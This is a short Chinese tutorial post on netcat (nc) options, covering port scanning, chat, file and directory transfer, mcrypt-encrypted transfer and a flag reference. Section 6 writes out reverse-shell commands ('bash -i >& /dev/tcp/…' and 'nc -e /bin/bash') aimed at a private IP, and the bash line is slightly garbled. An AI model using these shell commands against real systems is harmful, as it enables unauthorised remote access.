nc命令詳解
阿新 • • 發佈:2020-07-20
1.埠掃描
z引數告訴nc使用0 輸入/輸出模式,一般在掃描通訊埠的時候使用
v引數顯示指令執行過程
n引數告訴nc不使用DNS反向查詢ip地址的域名
2.做為通訊使用
server: nc -l 5555
client: nc 192.168.21.133 5555
l引數使用監聽模式,管控傳入的資料
3.檔案傳輸
server: nc -l 5555< aa.txt
client: nc -n 192.168.21.133 >aa.txt
同樣也可以互換,傳輸檔案
server:nc -l 5555 > aa.txt
client: nc 192.168.21.133 5555 <aa.txt
4.目錄傳輸
檔案可以傳送,但是目錄也同樣可以傳輸,利用管道傳輸起來。
server: tar -czvf- faith/ |nc -l 5555
client: nc -n 192.168.21.133 5555 | tar -zxvf -
5.加密傳輸
server: nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
client: mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
6.建立shell
server:nc -lvp 5555 bash -i >& /dev/tcp/192.168.21.136/5555 0 >&1
client: nc -lvp 5555
還有一種:
server:nc -e /bin/bash 192.168.21.136 5555
client: nc -lvp 5555
7.nc其他引數
參 數:
-g<閘道器> 設定路由器躍程通訊閘道器,最多可設定8個。
-G<指向器數目> 設定來源路由指向器,其數值為4的倍數。
-h 線上幫助。
-i<延遲秒數> 設定時間間隔,以便傳送資訊及掃描通訊埠。
-l 使用監聽模式,管控傳入的資料。
-n 直接使用IP地址,而不通過域名伺服器。
-o<輸出檔案> 指定檔名稱,把往來傳輸的資料以16進位制字碼傾倒成該檔案儲存。
-p<通訊埠> 設定本地主機使用的通訊埠。
-r 亂數指定本地與遠端主機的通訊埠。
-s<來源地址> 設定本地主機送出資料包的IP地址。
-u 使用UDP傳輸協議。
-v 顯示指令執行過程。
-w<超時秒數> 設定等待連線的時間。
-z 使用0輸入/輸出模式,只在掃描通訊埠時使用。